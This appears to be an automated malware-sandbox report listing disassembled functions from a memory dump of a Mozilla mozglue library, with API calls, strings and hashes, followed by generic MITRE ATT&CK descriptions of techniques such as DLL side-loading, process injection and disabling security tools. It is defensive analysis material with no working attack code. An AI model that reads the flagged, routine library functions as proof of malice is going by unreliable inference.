Instruction ID: 54eb3a362eace2290d51837a6783f950f547eaaad3b85e2db00bdf6721694c4b
Opcode Fuzzy Hash: ad472ba168f7cfd12e8830b651220116205bac26859fbe8703c48d815e5eb901
Instruction Fuzzy Hash: 91F082715002087BDB00AB94DC41DAB372CEF6A628F154420FE0917700D635FD2586F7

Function 6C9B20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C99FBD1), ref: 6C9B20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C99FBD1), ref: 6C9B20DA
free.MOZGLUE(00000000,?,6C99FBD1), ref: 6C9B20F1

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: f727e96bf2340e9e46bbd956dc3b1bfecdff492dadf5f65ced6b2d6048f02f7e
Instruction ID: 63094c13328ea731cb51faa8fb938ac23778cf4cab11566e861574b30edb5909
Opcode Fuzzy Hash: f727e96bf2340e9e46bbd956dc3b1bfecdff492dadf5f65ced6b2d6048f02f7e
Instruction Fuzzy Hash: 44E02B31604B14ABC3209F25D80854FB7FDFFAA314B10062AE50AD3B00D775F54A87D9

Function 6C9B85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9B85D3

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9B8725

Strings

map/set<T> too long, xrefs: 6C9B8720

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: ee220da6e311adb3fe5b62392a8fe42f3cb9eca716dd68517d5cccc048428ecd
Instruction ID: cb8f3a64fba9c323e8cdaf06341787a0a935f6576d42b5ba4aaefbe2d8b7717a
Opcode Fuzzy Hash: ee220da6e311adb3fe5b62392a8fe42f3cb9eca716dd68517d5cccc048428ecd
Instruction Fuzzy Hash: 6B5186B4A00646EFC709CF18C084B56BBF1BF5A318F18C19AD8596BB52C334E885CF96

Function 6C96BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C96BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C96BE8F

Strings

0, xrefs: 6C96BE5B

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: af173f5b1869ce60b1e5c0bcd86da1939d093934a404f02f31c75198519e60e7
Instruction ID: 9ec3af14961b9fd0af8e3a3abf004745a32afd623f236c9ccf535832fc5003ae
Opcode Fuzzy Hash: af173f5b1869ce60b1e5c0bcd86da1939d093934a404f02f31c75198519e60e7
Instruction Fuzzy Hash: 6F41E571909745CFD301CF39C491A5BB7F4AF9A348F004A1DF9856BA51E730D954DB82

Function 6C9A3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A3D19
mozalloc_abort.MOZGLUE(?), ref: 6C9A3D6C

Strings

d, xrefs: 6C9A3D58

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 132cb41fea635e89c82f4e0ccfb92eb556bd4b4fe28e476d9ac814cb376bacfb
Instruction ID: 62306ddcb2d6a5cf1be03aefcc77bd02af3a56dd6c2b58df199af77f86c640c7
Opcode Fuzzy Hash: 132cb41fea635e89c82f4e0ccfb92eb556bd4b4fe28e476d9ac814cb376bacfb
Instruction Fuzzy Hash: 06110436E08688D7DB008BA9C8144EDB775FFAA218B458218DC45A7612EB30E5C5C750

Function 6C974730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9744B2,6C9EE21C,6C9EF7F8), ref: 6C97473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C97474A

Strings

GetNtLoaderAPI, xrefs: 6C974744

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 56922b1525815ed4297b5ccf76939983986cda1503baecaf55994f3ccb0b3340
Instruction ID: 2e444408539cbe1cd787ebb58c1d12888fcd1cc08a52fe4f15d7faf6700a5e83
Opcode Fuzzy Hash: 56922b1525815ed4297b5ccf76939983986cda1503baecaf55994f3ccb0b3340
Instruction Fuzzy Hash: 18018C753093548FDF01AF6698846297BB9EF9F721B29006AE90ACB301CB74D801CFA1

Function 6C9C6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9C6E22
__Init_thread_footer.LIBCMT ref: 6C9C6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9C6E1D

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: e23ff3514a28ee5fa86c4fae328746c4f4497a00e0017d4a2b8ce92d946103e1
Instruction ID: 5ff03ee5c14f1aae06e2e6dec7bb61887dcb190dbf2658762f2112262dbf247d
Opcode Fuzzy Hash: e23ff3514a28ee5fa86c4fae328746c4f4497a00e0017d4a2b8ce92d946103e1
Instruction Fuzzy Hash: 35F0593170A24CCBDB008B68E850AA137719FFFA1CF280167C40447F53CB20E52ACAA3

Function 6C979E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C979EEF

Strings

Infinity, xrefs: 6C979EB7
NaN, xrefs: 6C979EC1

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: e74cee0d6a647cd24df6685944fa62515d538f1bc8688844608da2eb1e00d8a5
Instruction ID: 1edb59ae738d70e7671c05780ed0e20d53c4bb4f99371b9463333c59673b5da1
Opcode Fuzzy Hash: e74cee0d6a647cd24df6685944fa62515d538f1bc8688844608da2eb1e00d8a5
Instruction Fuzzy Hash: 66F08C7160A645CADB428B18F8467443B71AFBF31CF354A56C5080AB42D735A5CA8A92

Function 6C97BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C97BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C97BEF5

Strings

cryptbase.dll, xrefs: 6C97BEF0

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 77148895aded48203a111be2e7f9ece12f889da3adc61b2108ac5b0a608d108e
Instruction ID: 2532b3769bb3ec6b3c9382e467f5f2e748e394294c3210d8aff2255ea91e2906
Opcode Fuzzy Hash: 77148895aded48203a111be2e7f9ece12f889da3adc61b2108ac5b0a608d108e
Instruction Fuzzy Hash: 22D013311C5308E7D7516B908D0DF193778AF59715F20C025F75554951C7B1D450CFD4

Function 6C9650E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C,?,?,?,?,?), ref: 6C96510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C,?,?,?,?,?), ref: 6C965167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C965196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C), ref: 6C965234

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: cd6f07ea2daf44bffb69ed3878fb1a5c7bf90d726919fdcaba43e74460f68ad6
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 2691F135505646CFCB14CF09C890A5ABBA5FF99318B29868CDC489BB56C331FD82CBE0

Function 6C9A08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0918
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A09A6
EnterCriticalSection.KERNEL32(6C9EE7DC,?,00000000), ref: 6C9A09F3
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0ACB

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2fbcdf817a487fc382278c42eb755b2e388b3d6df3fef90647f391a644ff1d27
Instruction ID: 5b9de31af6a19282f2c78ff869447a22d9df019fa41c66424373c4e1e8c75831
Opcode Fuzzy Hash: 2fbcdf817a487fc382278c42eb755b2e388b3d6df3fef90647f391a644ff1d27
Instruction Fuzzy Hash: 0A516B32B05654CBEB489A95C45472533B5EFEAB24B35913AD86797F80DB31EC02C6C0

Function 6C9BB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB628

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9BB127,?,?,?,?,?,?,?,?), ref: 6C9BB74D

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8a01aab7225f84701aab4ac716a8d339c855d6b3e6d954253b27f0658ce99569
Instruction ID: f115978db099a2a656332247f6328d876b7b83814a1f98c6dd3ce86e2f319347
Opcode Fuzzy Hash: 8a01aab7225f84701aab4ac716a8d339c855d6b3e6d954253b27f0658ce99569
Instruction Fuzzy Hash: DF51B7B1A05216DBDB14CF18C9C066FB7B5EF89704F168529C85ABBB80DB30E804CBA1

Function 6C9BDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9AFF2A), ref: 6C9BDFFD

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9AFF2A), ref: 6C9BE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9AFF2A), ref: 6C9BE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C9AFF2A), ref: 6C9BE0FE

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e86ee1a3af6ff0b2058da280f2af5e79a2830912d924e388342a702ebc3d38bb
Instruction ID: c867034c1424e54b6c2178f88debe033ca98ca700dc6e05c8019697a8cd94fff
Opcode Fuzzy Hash: e86ee1a3af6ff0b2058da280f2af5e79a2830912d924e388342a702ebc3d38bb
Instruction Fuzzy Hash: F141B1B1608216DFEB14CF68D88036B77BAAF46308F254979D556EB740E731E904CBD2

Function 6C9B6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9B6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9B6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6F5C

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: bb7c11096c02d068a8d9ce596f2582be46aca4b6cd5ab5322db14ee2fafdb1a4
Instruction ID: a22d2f4f70aca0a47144734f7c380559b2e26087e7586b11d727e34cc30290ad
Opcode Fuzzy Hash: bb7c11096c02d068a8d9ce596f2582be46aca4b6cd5ab5322db14ee2fafdb1a4
Instruction Fuzzy Hash: 8531E571A1060A9FDB08CF2CC9806AB73E9FF94344F50813DD41AD7651EB31E669C790

Function 6C9CB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C970A4D), ref: 6C9CB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C970A4D), ref: 6C9CB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C970A4D), ref: 6C9CB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C970A4D), ref: 6C9CB67F

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4c2ae7465413480812ddee15985635b6ba84e8556b8cb079783d8e3dead9daa9
Instruction ID: 392d24bc119dcc89dcd8b7a62ab48144820da0114567d21a05406e42d7c7c1bf
Opcode Fuzzy Hash: 4c2ae7465413480812ddee15985635b6ba84e8556b8cb079783d8e3dead9daa9
Instruction Fuzzy Hash: 7931F471E002168FDB10DF58C94466ABBB9FF84325F168529C80A9B201DB31E915CBA3

Function 6C99F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C99F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C99F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C99F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C99F668

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 930120d83646c70c7c335615e540f2feefbfff5f45c6baa77110c3b2be83de8b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 1A314F71A00614AFCB14CF5DCCC0AABB7B9EB94358B188539FA498BB04D672F9448B91

Function 6C9B26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B26C1
free.MOZGLUE(?), ref: 6C9B26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B26FF
free.MOZGLUE ref: 6C9B270D

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f88442e70426af313a02e1050fe191daf7ecbe7b9cc52c677c6edc37a2de26e7
Instruction ID: b237b41504ae697f64bfd474cf52261243125ef69d145bcc44673202e28a1dba
Opcode Fuzzy Hash: f88442e70426af313a02e1050fe191daf7ecbe7b9cc52c677c6edc37a2de26e7
Instruction Fuzzy Hash: C5F0F9B2701601BBFB009A18DCC495B73ADEF65259B200435EA16E3B02E331F918C6A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

